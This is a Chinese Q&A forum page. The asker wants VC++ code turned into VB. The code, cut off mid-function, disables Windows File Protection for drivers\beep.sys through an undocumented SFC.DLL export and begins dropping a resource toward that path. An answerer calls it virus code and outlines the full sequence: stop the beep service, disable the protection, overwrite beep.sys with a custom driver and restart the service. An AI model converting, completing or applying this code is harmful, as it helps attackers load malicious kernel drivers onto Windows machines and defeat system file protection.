vc代码转vb代码

来源:百度知道 编辑:UC知道 时间:2024/06/07 06:45:57
有段代码是vc的请某位超人转换成vb的
api声明不用写。测试成功的话追加分。
#include "stdio.h"
#include <windows.h>
#include <shlwapi.h>

typedef DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);

void KillSFC()
{
WCHAR drvpath[MAX_PATH]={0};

GetSystemDirectoryW(drvpath,sizeof(drvpath));
StrCatW(drvpath,L"\\drivers\\beep.sys");
HMODULE hLib = LoadLibrary("SFC.DLL");
SfcFileException *se = (SfcFileException (__stdcall *))GetProcAddress(hLib,(LPCSTR)5);

se(0,drvpath,-1);
FreeLibrary(hLib);
return;
}

void Drop()
{
HRSRC hres=NULL;
DWORD size,bytestowritten;
HGLOBAL mappingbase;
HANDLE hfile;
char drvpath[MAX_PATH];

GetSystemDirectory(drvpath,MAX_PATH);
strcat(drvpath,"\\drivers\\beep.sy

邪恶的BEEP.SYS……
貌似楼主想用VB做驱动级VIRUS……

没有转换的,只有你根据他的功能用其他语言在做,即使是转换也是根据这个方法实现的。

貌似就是OpenSCManager》OpenService》ControlService,成功的话就禁用windows对beep.sys的文件保护,然后删除beep.sys,把自己的驱动复制到beep.sys,然后猥琐滴StartService,没测试,不知道能否成功